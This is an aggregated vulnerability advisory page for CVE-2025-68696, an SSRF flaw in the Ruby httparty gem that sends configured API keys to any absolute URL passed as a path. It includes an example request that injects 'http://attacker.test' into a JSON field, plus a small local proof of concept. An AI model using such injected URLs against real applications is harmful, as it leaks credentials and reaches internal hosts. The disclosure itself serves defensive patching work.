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GHSA-HM5P-X4RQ-38W4

Vulnerability from github – Published: 2025-12-23 19:31 – Updated: 2026-06-08 23:17

Summary

httparty Has Potential SSRF Vulnerability That Leads to API Key Leakage

Details

Summary

There may be an SSRF vulnerability in httparty. This issue can pose a risk of leaking API keys, and it can also allow third parties to issue requests to internal servers.

Details

When httparty receives a path argument that is an absolute URL, it ignores the base_uri field. As a result, if a malicious user can control the path value, the application may unintentionally communicate with a host that the programmer did not anticipate.

Consider the following example of a web application:

require 'sinatra'
require 'httparty'

class RepositoryClient
  include HTTParty
  base_uri 'http://exmaple.test/api/v1/repositories/'
  headers 'X-API-KEY' => '1234567890'
end

post '/issue' do
  request_body = JSON.parse(request.body.read)
  RepositoryClient.get(request_body['repository_id']).body
  # do something
  json message: 'OK'
end

Now, suppose an attacker sends a request like this:

POST /issue HTTP/1.1
Host: localhost:10000
Content-Type: application/json

{
    "repository_id": "http://attacker.test",
    "title": "test"
}

In this case, httparty sends the X-API-KEY not to http://example.test but instead to http://attacker.test.

A similar problem was reported and fixed in the HTTP client library axios in the past:
https://github.com/axios/axios/issues/6463

Also, Python's urljoin function has documented a warning about similar behavior:
https://docs.python.org/3.13/library/urllib.parse.html#urllib.parse.urljoin

PoC

Follow these steps to reproduce the issue:

Set up two simple HTTP servers.

bash mkdir /tmp/server1 /tmp/server2 echo "this is server1" > /tmp/server1/index.html echo "this is server2" > /tmp/server2/index.html python -m http.server -d /tmp/server1 10001 & python -m http.server -d /tmp/server2 10002 &

Create a script (for example, main.rb):

```rb require 'httparty'

class Client include HTTParty base_uri 'http://localhost:10001' end

data = Client.get('http://localhost:10002').body puts data ```

Run the script:

bash $ ruby main.rb this is server2

Although base_uri is set to http://localhost:10001/, httparty sends the request to http://localhost:10002/.

Impact

Leakage of credentials: If an absolute URL is provided, any API keys or credentials configured in httparty may be exposed to unintended third-party hosts.
SSRF (Server-Side Request Forgery): Attackers can force the httparty-based program to send requests to other internal hosts within the network where the program is running.
Affected users: Any software that uses base_uri and does not properly validate the path parameter may be affected by this issue.

Severity

8.2 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N

7.8 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:P

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}

BREW-GITLAB-GEM-CVE-2025-68696 (GHSA-HM5P-X4RQ-38W4)

Vulnerability from osv_homebrew – Published: 2026-08-13 16:51 – Updated: 2026-08-13 16:51 – Source website

Summary

httparty Has Potential SSRF Vulnerability That Leads to API Key Leakage

Details

Summary

There may be an SSRF vulnerability in httparty. This issue can pose a risk of leaking API keys, and it can also allow third parties to issue requests to internal servers.

Details

Consider the following example of a web application:

require 'sinatra'
require 'httparty'

class RepositoryClient
  include HTTParty
  base_uri 'http://exmaple.test/api/v1/repositories/'
  headers 'X-API-KEY' => '1234567890'
end

post '/issue' do
  request_body = JSON.parse(request.body.read)
  RepositoryClient.get(request_body['repository_id']).body
  # do something
  json message: 'OK'
end

Now, suppose an attacker sends a request like this:

POST /issue HTTP/1.1
Host: localhost:10000
Content-Type: application/json

{
    "repository_id": "http://attacker.test",
    "title": "test"
}

In this case, httparty sends the X-API-KEY not to http://example.test but instead to http://attacker.test.

A similar problem was reported and fixed in the HTTP client library axios in the past:
https://github.com/axios/axios/issues/6463

Also, Python's urljoin function has documented a warning about similar behavior:
https://docs.python.org/3.13/library/urllib.parse.html#urllib.parse.urljoin

PoC

Follow these steps to reproduce the issue:

Set up two simple HTTP servers.

Create a script (for example, main.rb):

```rb require 'httparty'

class Client include HTTParty base_uri 'http://localhost:10001' end

data = Client.get('http://localhost:10002').body puts data ```

Run the script:

bash $ ruby main.rb this is server2

Although base_uri is set to http://localhost:10001/, httparty sends the request to http://localhost:10002/.

Impact

Leakage of credentials: If an absolute URL is provided, any API keys or credentials configured in httparty may be exposed to unintended third-party hosts.
SSRF (Server-Side Request Forgery): Attackers can force the httparty-based program to send requests to other internal hosts within the network where the program is running.
Affected users: Any software that uses base_uri and does not properly validate the path parameter may be affected by this issue.

Severity

8.2 (High)


                    
                      CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N

7.8 (High)


                    
                      CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:P

References

URL

Type

	https://github.com/jnunemaker/httparty/security/a…	WEB
	https://nvd.nist.gov/vuln/detail/CVE-2025-68696	ADVISORY
	https://github.com/jnunemaker/httparty/commit/052…	WEB
	https://github.com/jnunemaker/httparty	PACKAGE
	https://github.com/rubysec/ruby-advisory-db/blob/…	WEB

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  ]
}

CVE-2025-68696 (GCVE-0-2025-68696)

Vulnerability from cvelistv5 – Published: 2025-12-23 22:59 – Updated: 2025-12-24 14:31

Title

httparty Has Potential SSRF Vulnerability That Leads to API Key Leakage

Summary

httparty is an API tool. In versions 0.23.2 and prior, httparty is vulnerable to SSRF. This issue can pose a risk of leaking API keys, and it can also allow third parties to issue requests to internal servers. This issue has been patched via commit 0529bcd.

Severity

7.8 (High)


                        
                          CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:P

SSVC

Exploitation: poc Automatable: yes Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2025-12-24 14:31 UTC

CWE

CWE-918 - Server-Side Request Forgery (SSRF)

Assigner

GitHub_M mitre root

References

2 references

URL	Tags
https://github.com/jnunemaker/httparty/security/a…	x_refsource_CONFIRM
https://github.com/jnunemaker/httparty/commit/052…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
jnunemaker	httparty	Affected: <= 0.23.2

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GHSA-HM5P-X4RQ-38W4

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BREW-GITLAB-GEM-CVE-2025-68696 (GHSA-HM5P-X4RQ-38W4)

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PoC

Impact

CVE-2025-68696 (GCVE-0-2025-68696)

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Sightings

Nomenclature

Related by attack behaviour